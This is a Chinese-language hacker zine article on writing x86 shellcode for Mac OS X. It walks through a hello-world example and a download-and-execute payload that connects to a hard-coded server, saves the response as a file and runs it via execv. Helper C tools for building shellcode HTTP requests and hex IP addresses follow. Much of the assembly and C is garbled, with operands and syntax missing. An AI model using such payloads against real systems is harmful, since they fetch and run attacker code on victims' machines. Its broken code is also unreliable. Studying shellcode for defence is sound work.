==Ph4nt0m Security Team== Issue 0x01, Phile #0x05 of 0x06 =---------------------------------------------------------------------------= =------------------=[ Shellcode For Mac OSX (x86) Tips ]=-------------------= =---------------------------------------------------------------------------= =---------------------------------------------------------------------------= =--------------------=[ By noop ]=--------------------= =------------------=[ <wo0wo0noop_at_gmail_dot_com> ]=------------------= =---------------------------------------------------------------------------= 一 hello, world Mac OSX 目前的版本是 10.5.1, 其内核是基于 bsd 的, 文件格式是自有的 macho 格式 市面上新的机器都是 x86 构架 Mac 系统对系统调用的处理与 freebsd 是一致的, 都是通过堆栈传递函数参数 这里举个最简单的例子来说明问题 : -------------------- 华丽的分割开始 ----------------- global start start:, jmp short string code: pop esi byte 15 esi byte 1 al,4 al,1 string:
call code db "Hello!, world!",0x0a ----------------- 华丽的分割结束 --------------- 这是一个蛮简单的 hello world, 和 *nix 一样可以使用 jmp call 方法, 这里做些简单的描述, 照顾一下各种读者 global start ; 默认是使用 start 的, 而不是 _start, ; 对 清零, jmp short string ; 跳转到 string, string: call code db "Hello!, world!",0x0a ; 这里 call 会把下一行压入栈, 接下来会用到, 注意结尾的 0xa code: pop esi // 指向 hello!,word! byte 15 // 参数入栈, 长度 esi //buf 指针 byte 1 //fd // 这里是和 linux 稍有区别的地方, 注意要多压一个寄存器入栈 al,4 //write 的系统调用号 al,1 同样道理, 调用 exit 退出 这里有个技巧 : 我们可以利用之前入栈但是没出栈的那个 作为一个参数, 所以在上一个系统调用的时候, 可以考虑为下一个系统调用准备参数 nasm 编译的时候注意指定 -f macho 二 http-download & execute 一般 fbsd 的 shellcode 到处都有的, 根据 Mac OSX 的系统调用的变动稍作修改就可以用了 这里我在 linux shellcode 的基础上改写了一个 http 下载执行的 shellcode, 这是通过底层函数实现的, 而非 Mac 提供的封装后的调用, 相对而言比较少见
------------------------ 华丽的分割线开始 ------------------ global start start:,, cdq byte 0x01 byte 0x02 al,97 xchg, not byte byte not xchg xchg sendq: 0x8380217d, 0xaffffffd, esp 0x10, al,98 0x41, esp, 0xfffffdfd al,5 esi,, 0x0a0d0a0d 0x302e312f 0x50545448
0x20657865 0x2e636c61 0x632f2f2f 0x20544547, esp byte 0x1c al,0x4 _request: byte 0x1 _wait: dec, al,0x3 byte 0x1,[] cmp,0xd0a0d0a jne _wait, _read: al,3 _write: byte 0x1 test, je close_file al,4 byte 0x1 jmp _read
close_file:, al,6 execv:,esi al,59 --------------------- 华丽的分割线结束 ---------------- 这里我们是构造一个 http 的请求, 然后下载到本地存为 A, 然后执行 详细的分部分解释 : --------------------- 连胜的分割线开始 ---------------- global start start:,, cdq ; 清零寄存器 byte 0x01 byte 0x02 al,97 ; 系统调用 socket socket( domain, type, protocol); ; 参数反顺序入栈, 另外额外 了一个 xchg, ; 将返回的句柄存入, 保存备用 ; 以下是 connect 系统调用 : 0x8380217d ; 下载的服务器 IP 地址, 可以通过工具生成, 如果有 0 就要合理取反了, 0xaffffffd not ; 通过取反, 避免产生 0
, esp ; 构建一个 sockaddr 结构指针 byte 0x10 ; 参数依次入栈, al,98 ; 通过 connect 系统调用建立连接 byte 0x41, esp, 0xfffffdfd not al,5 xchg esi, xchg, ; 通过 open 系统调用打开一个文件句柄, 文件名为 A, 如果不存在, 会自动创建 这里需要注 ; 意的是要将 open(const char *path, oflag,...) 中第一个参数保留下来 所以在 ; 系统调用之后, 有这么两句 : xchg esi, xchg, ; 将 *path, 也就是 保存到 esi 中, 另外将返回的句柄保存到 中 sendq: 0x0a0d0a0d 0x302e312f 0x50545448 0x20657865 0x2e636c61 0x632f2f2f 0x20544547, esp byte 0x1c ; 这一段构建 http 请求, 以及计算请求的长度 (0x1c), 都可以通过一个小工具生成, 并且会 自 ; 动对齐
; 之前保存的句柄 al,0x4 _request: byte 0x1 ; 通过 write 系统调用发送请求 _wait: dec, al,0x3 byte 0x1 ; 通过调用 write 读取服务器返回的信息,[] cmp,0xd0a0d0a ; 判断是否出现 0d0a0d0a 来判断是否开始到数据段, 是的话往下执行 jne _wait ; 否则的话跳回 _wait 标签继续读取, ; 清零, 为下面的小循环做准备 _read: al,3 _write: byte 0x1 test, je close_file al,4 byte 0x1 jmp _read ; 这里通过巧妙地构建一个 je, 来判断每次读取以后是否到达文件尾部, 是的话就关闭文件, 否则则继续写入 close_file:,
al,6 ; 通过调用 close 来关闭文件, 是之前保存的句柄 execv:,esi al,59 ; 通过 execv 系统调用来执行下载的文件 --------------------- 连胜的分割线结束 ---------------- 在写这样子很长, 很多系统调用的 shellcode 的时候, 有几点值得注意 : 1. 尽量利用上一个系统调用最后 的那个不会出栈的 无用 内容作为下一个系统调用的参数 ; 2. 如果出现 0, 可以通过取反来规避 ; 3. 注意保存系统调用的返回值到合适的寄存器 ; 4. 注意文件生成的权限 这个 shellcode 只是一个范例, 大家想写很复杂的 shellcode 的时候, 不妨从这种类型开始 三 几个相关工具 1. 生成 http 请求的工具, 来自 tty64. /* * gen_httpreq.c, utility for generating HTTP/1.x requests for shellcodes * * SIZES: * * HTTP/1.0 header request size - 18 bytes+ * HTTP/1.1 header request size - 26 bytes+ * * NOTE: The length of the selected HTTP header is stored at EDX register. * Thus the generated MOV instruction (to EDX/DX/DL) is size-based. * * - izik@tty64.org */ #include <stdio.h> #include <stdlib.h>
#include <unistd.h> #include <stdarg.h> #include <string.h> #define X86_PUSH \ 0x68 #define X86_MOV_TO_DL(x) \ prf("\t\"\\xb2\\x%02x\"\n", x & 0xFF); #define X86_MOV_TO_DX(x) \ prf("\t\"\\x66\\xba\\x%02x\\x%02x\"\n", \ (x & 0xFF), ((x >> 8) & 0xFF)); #define X86_MOV_TO_EDX(x) \ prf("\t\"\\xba\\x%02x\\x%02x\\x%02x\\x%02x\"\n", \ (x & 0xFF), ((x >> 8) & 0xFF), ((x >> 16) & 0xFF), ((x >> 24) & 0xFF)); void usage(char *); prx(char *fmt,...); main( argc, char **argv) { if (argc < 2) { usage(argv[0]); return -1; if (argv[2][0]!= "/") { fprf(stderr, "filename must begin with "/" as any sane URL! (e.g. /index.html)\n"); return -1; if (!strcmp(argv[1], "-0")) { return prx("get %s HTTP/1.0\r\n\r\n", argv[2]); if (!strcmp(argv[1], "-1")) { if (argc!= 4) {
fprf(stderr, "missing <host>, required parameter for HTTP/1.1 header! (e.g. www.tty64.org)\n"); return -1; argv[3]); return prx("get %s HTTP/1.1\r\nHost: %s\r\n\r\n", argv[2], fprf(stderr, "%s: unknown http protocol, try -0 or -1\n", argv[1]); return -1; /* * usage, display usage screen * * basename, barrowed argv[0] */ void usage(char *basename) { 1.1]\n\n", prf( "usage: %s <-0-1> <filename> [<host>]\n\n" "\t -0, HTTP/1.0 GET request\n" "\t -1, HTTP/1.1 GET request\n" "\t <filename>, given filename (e.g. /shellcode.bin)\n" "\t <host>, given hostname (e.g. www.tty64.org) [required for HTTP basename); return ; /* * prx, fmt string. generate the shellcode chunk * * fmt, given format string */ prx(char *fmt,...) { va_list ap; char buf[256], pad_buf[4], *w_buf; pad_length, buf_length, i, tot_length;
memset(buf, 0x0, sizeof(buf)); va_start(ap, fmt); vsnprf(buf, sizeof(buf), fmt, ap); va_end(ap); buf_length = strlen(buf); prf("\nurl: %s\n", buf); prf("header Length: %d bytes\n", buf_length); for (i = 1; buf_length > (i * 4); i++) { pad_length = ((i+1)*4) - buf_length; prf("padding Length: %d bytes\n\n", pad_length); tot_length = buf_length + pad_length; w_buf = buf; if (pad_length) { w_buf = calloc(tot_length, sizeof(char)); if (!w_buf) { perror("calloc"); return -1; i = index(buf, "/") - buf; memset(pad_buf, 0x2f, sizeof(pad_buf)); memcpy(w_buf, buf, i); memcpy(w_buf+i, pad_buf, pad_length); memcpy(w_buf+pad_length+i, buf+i, buf_length - i); for (i = tot_length - 1; i > -1; i-=4) {
prf("\t\"\\x%02x\\x%02x\\x%02x\\x%02x\\x%02x\" // l $0x%02x%02x%02x%02x\n", X86_PUSH, w_buf[i-3], w_buf[i-2], w_buf[i-1], w_buf[i], w_buf[i-3], w_buf[i-2], w_buf[i-1], w_buf[i]); if (pad_length) { free(w_buf); // // The EDX register is assumed to be zero-out within the shellcode. // if (tot_length < 256) { // 8bit value X86_MOV_TO_DL(tot_length); else if (tot_length < 655356) { else { // 16bit value X86_MOV_TO_DX(tot_length); // 32bit value, rarely but possible ;-) X86_MOV_TO_EDX(tot_length); fputc("\n", stdout); return 1; 2. 生成十六进制 ip 地址的工具 /* * one minite coding by noop
*/ #include<netinet/in.h> #include<arpa/inet.h> #include<stdio.h> main( argc,char **argv) { struct in_addr ip; unsigned addr; if(argc!= 2) { fprf(stderr,"usage 128.0.0.9\n"); return 1; inet_aton(argv[1],&ip); prf("0x%x\n",ntohl(ip.s_addr) ); return 0; 四 总结 这些东西也不属于我完全原创, 很多东西都是从前辈那学习二来, 总结了些一些经验, 提供了一些范例, 希望对研究 Mac 系统的朋友有所帮助 另外还有一个小技巧, 比较懒的人, 可以考虑写一个小程序来读取 macho 文件中的代码部分, 自动转换成 shellcode, 比较省力 相关资料请参考 Mac 的文件格式文档, 我就不提供代码了, 写这么个东西也不困难 有什么问题, 欢迎在幻影的邮件列表提出, 我平时不怎么收邮箱的邮件, 所以, 单独发邮件的可能看不到 五 参考文档 : [1] b-r00t"s Smashing the Mac for Fun & Profit http://www.milw0rm.com/papers/44 [2] Mac OS X PPC Shellcode Tricks - http://www.uninformed.org/?v=1&a=1&t=pdf [3] Mac OS X wars - a XNU Hope
http://www.phrack.org/issues.html?issue=64&id=11#article [4] Mach-O Runtime http://developer.apple.com/documentation/developertools/... Conceptual/MachORuntime/MachORuntime.pdf [5] Ilja"s blackhat talk - http://www.blackhat.com/presentations/bh-europe-05/... BH_EU_05-Klein_Sprundel.pdf [6] Radical Environmentalists by Netric - http://packetstormsecurity.org/groups/netric/envpaper.pdf [7] Non executable Stack Lovin on OSX86 - http://www.digitalmunition.com/nonexecutablelovin.txt [8] Mach-O Infection - http://felinemenace.org/~nemo/slides/mach-o_infection.ppt [9] Infecting Mach-O Fies http://vx.netlux.org/lib/vrg01.html [10] class-dump http://www.codethecode.com/projects/class-dump/ [11] Architecture Spanning Shellcode - http://www.phrack.org/archives/57/p57-0x17 -EOF-